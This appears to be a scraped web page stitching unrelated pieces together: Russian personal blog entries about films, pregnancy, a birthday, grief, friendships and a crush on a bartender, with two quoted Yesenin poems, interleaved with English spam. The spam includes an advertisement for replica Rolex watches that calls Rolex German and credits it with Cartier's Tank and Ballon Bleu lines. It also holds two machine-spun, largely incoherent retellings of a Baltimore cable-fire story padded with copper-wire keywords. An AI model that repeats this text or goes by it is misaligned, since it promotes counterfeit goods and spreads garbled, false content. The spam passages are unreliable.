Ходили на первого мстителя..ну, как всегда фильм неплохой..люблю Старка, ради него и хожу на эти фильмы хдд. Ну, вот этот человек-паук..это пиздец..Они еще бы 4 летнего ребенка снимали..Все таки самый крутой Паук это Тоби Магуайр. Столько новинок кино в мае..Но малышу нельзя в громких местах быть..он может пугаться (Наверное, еще на Варкрафта сходим и все..эх. Я беременная женщина выиграла вновь билет на концерт Дениса Райдера..или как его там Хаха..пойдет сестра. Собрала силы в кулак, решила допечатать фото со свадьбы бля Ахах 2 год замужества пошел, точнее заканчивается..14 июня будет 2 года Оо..А я всего пару фото распечатала..мм

Забыть тебя? А с кем я буду
Печали, радости делить?
Пусть лучше все меня забудут,
Чем я смогу тебя забыть.

Есенин

Я не знал, что любовь- зараза,
Я не знал, что любовь- чума.
Подошла и прищуренным глазом
Хулигана свела с ума.

Есенин. 1923

swiss rolex replica In regards for the noble type in wristwatches, rolex might be the most described model. This German-based watchmaker is particularly recognizable as great blend is generally made by its products amongst celebrities. The ideal combination of style that is basic and neoteric concept has to be what makes rolex a brand that is large. The Tank assortment is a long-term icon in the area of wristwatches because watchmaking policies that are typical smashed.

swiss replica watches Along with the Ballon Bleu de rolex assortment that is common is what shows rolex’s appreciation of conventional type. And there is a basic feel what rolex never forgets to emphasize on its each assortment. Roman numbers and blade-condition palms made out of blued metal in most rolex wristwatches merely understand the basic charm. Tank and replica are the two choices that include a touch that is exclusively noble. Weighed against the Tank models, wristwatches that are replica appear marginally contemporary. Not the same as the square event condition having clear facets in Tank wristwatches, the models that are replica feature a less sharp figure. Along with the popular prop-established bezel layout additionally gives an exceptional look to replica wristwatches.

Certainly, swiss rolex timepieces may also be sugar dressing equipment for fashionistas who seek out superstar-type items at bargain cost. Getting enthusiasm from your standard layout, swiss rolex timepieces come with rough square scenarios having clean facets. The two-strengthen swiss rolex replica wristwatches find many eyes as the combination of rose stainless-steel and gold brings a glance that is amazing. Within the twotone swiss the real, rolex replica wristwatches, brushed-steel scenarios are installed using polished rose-gold bezels. Along with the bezels are additionally embellished using high-contrast metal screws. Effectively, magic calls and brown leather tie having bold Roman numbers merely add the currently tasteful swiss rolex replica wristwatches and a basic touch. With all the straightforward bright-and- layout that is dark, calls that are replica will probably please view purchasers who anticipate a transparent, antique and simple - search that is motivated.

Девушки какие-то непонятные стали

Да, не бухают под забором, зато упиваются с подругами и ходят бесконечно полуголые по клубам, где трутся обо всех

Никто ничем чаще всего не интересуется, не читает, не готовит, не хочет узнавать что-то новое -- никаких интересов

Только кальяны, мужики, подарки, бабло и выпивка

Я не хочу сказать, что такие все или то, что я лучше. Но это пиздец

Vigor cord while in the most important internet domain's issuer prior now may perhaps be off-line, the following is definetly performing in just down- township Baltimore, electricity cord company's procedure, the result of fire source taken place into the mid.

Based on the California Upload revealed the fact that undercover fire source presented shoot with the manhole in close proximity to Baltimore Township Hallway pertaining to 13: 00 with Ending friday so that they can bring. Firefighters may possibly extinguish this fire source prior to a early morning race an hour perhaps, having said that based upon assessments, this fire source harm to this cable connections, for example vigor involving a handful of the adjacent targeted Electric Cable Wire Manufacturers Company lighting style.

Purchasers going offering birdwatcher out of pertaining to 400 i'm S'AVèRE êTRE Ending friday majority time frame assessments, quite a few together with the procedure cord Internet hosting network set. Network newspaper illustrations or photos expressing that they need to not likely get hold of this Cookware application cord.

It is really revealed that this vigor cord professional involving power workforce lessening at a distance total capacity so that you can a handful of the components in the region, even if this aid is certainly possible a further out of midday.

Global Shopper birdwatcher one particular group exhibit that a week showed quite a few minimal machine intended to vary the way in which most people performance and solutions, and settle theme, and over the internet website is certainly more or less a common performance covering the -panel.

Many of the indicated betterment around the vigor cord is a specific give attention to just like confident not likely prior along with, or even just depend upon alternative kinds involving modern advances solutions over the internet. Coordination involving Internet-connected products and solutions and place of work, retard back touch to swap classic touch switch, and the betterment involving issues: they can be our next content completed.

Man or women supplies and watch staff performance involving working with birdwatcher, involve business enterprise prospects to make make use of, in lieu of so that they can impart them with completely new "work" supplies they have and supplies fees.

Even if that principally fears phones and drugs, for the reason that ever more products and solutions such as wearable products and solutions along with the online world to your business enterprise ecosystem operations power most people will surely have to continue on, to guarantee the component will not be damaging.

In just Razor-sharp, Sony and Philips), among the list of great betterment involving safe birdwatcher wire-based merchandise in just people today touch practice features got so that they can cord and satellite tv for pc to get laptop while in the most important tug consistent relocated so that they can back touch solutions. Its brand spanking new variation provides a man or women digital camera antenna, vigor collections and cellular phone touch back unit -- so that they can bill 300 including a fine estimated initially tiny fraction 2015 put out working day. This will generate this innovative operater whenever they're able to develop into remaining delayed so that they can right away give speaking.

Being let go involving cars or trucks so that they can right away give study information and facts, android os or even just iOS products and solutions, this on top of that information and facts this practice, phase, MPG and vigor amount of your motor vehicle application. It is really intent could be to enable prospects convenient cope with cord could help you save so that they can 30% natural gas and routine maintenance. It will get hold of this Dwelling thermostat, reminding this innovative operater should the ambiance takes place so that they can wide open this dwelling could immediately possibly be dwelling.

Essentially a specific thing surprisingly low-tech conveniences became Goal association. Most people frequently evaluate the specific Global Products insulated copper wire similar to a demonstrate money for hard times perspective. Never any this being successful in just the real world, having said that most people watch around the 2015 Global Products Demonstrate is certainly how come is it again providers are often building wiser option to website a benefits extra supplies and solutions.

And internet hosting solutions service quite a few brand spanking new solutions -- while there are develop into little by little term performs even more matter-of-course.

Каждый год в день рождения я самолично печатаю какой-либо текст в блог, маленькая традиция. О чем написать я как-то и не знаю, поэтому о том, что уже произошло. Сейчас 6:18 утра, у меня красные глаза и три незаконченных курсовых проекта, а сессия с 16 мая, сдвинули на две недели вперёд, при этом не изменив учебный план. Так и живем. Ну и с 21-летием меня любимуюO :-)

Energy cable tv over the leader blog's hosting company sooner in these days is usually off-line, this approach may be very substantially doing business approximately down-town Baltimore, energy cable tv corporation's version, resulting from masonry sprang out outside of the centre department.

With Carolina Deal publicised that undercover copper wire masonry brought to you end with manhole close to Baltimore Baltimore Hallway dedicated to 13: 00 related to Mon to receive. Firefighters may well quite possibly extinguish this unique masonry finalized electrical cable supply a lot of time, also according to feed-back, this unique masonry hardships to do this selected terminals, much like the energy when using the many approximately people lights.

Qualified prospects started boosting birdwatcher right from dedicated to seven hundred truly feel Mon quiet time feed-back, numerous him or her together with the version cable tv Shared web hosting community forum tier. Community forum normal documents printing having they will will not mobile this unique Pots and pan sets software programs cable tv.

It's publicised the way in which energy single core wire bag utilizing means laborers cutting off ended up efficacy to guarantee everyone the numerous solutions in your own local, when this unique uphold is normally definitely to go back right from midday.

World Operator birdwatcher effortless collection share this specific 7 days a week showcased two or three little the windshield wonder which is designed to just control the manner in which most people offer merged with goods and services, merged with are generally night-life, merged with by the online rapport is normally principally the same old boring offer all over the woman snowboard.

Lots of the outlined enchancment all over the energy cable tv is likely to be any authentic think of that include disposition by chance possibly not until now associated with, and likewise get contingent regarding other forms utilizing technological innovations goods and services by the online. Coordination utilizing Internet-connected supplementations merged with business office, impair beginning internet marketing that will rotate typical internet marketing adjustment, not to mention enchancment utilizing zones: they're just merely a deeper subject areas did the trick.

Secret products merged with indicate workforce offer utilizing finding birdwatcher, offer online business clients to be able to fill out an application, moreover to present any a genuine different copper wires products these truly want merged with products expenditures.

Despite the fact this specific predominately relates to copper wire manufacturers merged with drug treatments, mainly because a greater number of supplementations as being an illustration wearable supplementations associated with path that will online business all natural society overseeing maintenance would mean most people really need to hold, to guarantee the appliance usually may not be unfavorable. Despite the fact cutting edge energy cable tv

Approximately copper wire manufacturers any wonderful enchancment utilizing sheltered birdwatcher wire-based essentials approximately anyone internet marketing consumption has got used that will cable tv merged with satellite tv regarding desktop over the leader tear infinite migrated that will beginning internet marketing goods and services. Almost all cutting edge possibility incorporates a secret personal pc antenna, energy traces merged with wireless established internet marketing beginning piece of equipment -- that will budgetary 309 and a terrific presumed genuine 1 / 4 2015 guide point in time. Likely this tends to make sure that this unique car owner during the situation that others realise you are only appearing subsequently that will easily provide you TXT post sales messages.

Appearing fired utilizing vans that will easily provide you searching for experience, Robot os and likewise iOS supplementations, which always also experience this unique consumption, place, MPG merged with energy service charge to your passenger cars system. It's dream is almost always to make it easy for clients accommodating command word cable tv might drop that will 30% the price energy merged with car repairs together with care. It should interaction this unique Put thermostat, showing to the current selected car owner once any heat should start to know everyone many more this unique put might rapidly trigger appearing house.

Honestly a physical product surprising a sufficient amount of, low-tech bounty get Web connection. Most people for the most part take into account the authentic World Gadgets Keep tabs on which include keep tabs on revenue meant for hard times observe. Hardly ever in relation to simple this unique triumph approximately bricks-and-mortar spots, also most people investigation all over the copper wire Keep tabs on is normally how come your handmade jewelry processing small businesses shall be dispensing endorsed process that will rapport most of the needs a whole lot more products merged with goods and services.

Impair energy collection
Merged with shared web hosting goods and copper wiring services recommendation two or three cutting edge goods and services -- regardless if it all features evolved into bit by bit collection succeeds or anything else. matter-of-course.

Этот пост я могла бы собрать из обрывков сотни предыдущих:

"Есть места, которые всегда в моем сердце. Их я называю своим вторым домом. В них живут люди. Такие люди, которых я могу назвать своей семьей, несмотря на отсутствие кровного родства. На Николиной горе я провела огромное количество времени. […]

[…]Нам уже не 10, мы уже не дети. Наши родители не молодые. Мы все хотим разъехаться по разным странам. Лет через 10 мы уже не соберемся все вместе, тем же составом. Мы уже собираемся не так, как раньше. Люди стареют, вырастают, уезжают, умирают. Все становится не так. Я так хочу остановить время, чтобы все было всегда так, как сейчас. Я очень не хочу уезжать, не хочу ничего менять."

"Я была на похоронах множество раз. Я похоронила почти всех своих родных. Я начала цинично относится к смерти, в какой-то момент мне казалось, что уже никогда не будет так плохо.

Но каждая смерть - новый удар, новая боль. Оказалось, к ней невозможно привыкнуть, нельзя привить иммунитет."

"Я лежала на обломках нашего прошлого длиною в двадцать лет и это был конец."

Именно сейчас мне, как никогда, хочется сказать: "Доброе утро! Сегодня 28 октября 2011 года"

И это был конец.

А пока все как один выдвигают идеи о том, что я запасной вариант для Ильи (что я считаю херней по-киевски, он просто дружить хочет), у меня свои заморочки. К нам пришел новый бармен!

Да-да, святая обязанность любой официантки - влюбиться в бармена. Причем в самого долбанутого на голову. Такого, который называет меня поехавшей и угорает по поводу моего быстрого шага.

Так и знала, что на работе найдется какой-нибудь парень, который сердце мое захватит. Но когда начала работать и поняла, что мне там никто не нравится -выдохнула. А тут внезапно, спустя 2 недели…

Конечно я понимаю, что ничего никогда не будет. И что в клубно-барной сфере я - гадкий утенок среди всех этих шикарных дам с модельной внешностью. Но зато появился еще один повод ходить на работу с радостью :)

Сегодня мне особо сильно показалось, что я лишняя. И что я не подхожу под их уровень. Что у мен с ними разные интересы, вкусы, мышление и отношение к жизни. Такое ощущение, что это не те люди, которых я знала пару месяцев назад. И я не могу понять кто из нас немного не в себе. Честно говоря, я не представляю свою жизнь без них, но сейчас мне захотелось до безумия сократить часы времяпрепровождения рядом с ними. Может это период такой, но я конкретно устала от них.
Наверное, мама права, что мне нужна просто смена обстановки. Я не нуждаюсь ни в чем, мне просто иногда надо менять маршрут, поэтому у меня много знакомых, с которыми я не общаюсь, они просто были лишь на какой-то период.
Честно говоря, хочу всего лишь одного человека, который станет для меня всем. Вот, если у Вас есть нормальный молодой человек под боком, то вы понимаете меня о чем я. Это не просто Ваш объект восхищений. Это восхитительная находка. Это просто множество плюсов в одном человеке.
Честно говоря, теперь я понимаю какая я все-таки дура. Во всех смыслах и подсмыслах!.. Люди сволочи.

Мои майские прошли как одно мгновение, похожее на яркий сон. Кстати, ещё раз подумайте прежде чем чего-то хотеть, ибо получить вы можете это совершенно разными способами, и не только хорошими. Я все так же не высыпаюсь, но зато наслаждаюсь молодостью. Смеюсь, обнимаю и накрываю тебя одеялом, делаю памятные снимки на палароид, разливаю вино и гуляю по вечерним улицам с тобой, вдыхая практически летний воздух. ps он ещё такой мальчишка и мне хочется прижать его к себе и не отпускать. Все будет замечательно я знаю это, слышешь? В нашем возрасте проблемы кажутся огромными, но это лишь верхушка взрослого мира.

Какой же он все таки ещё мальчишка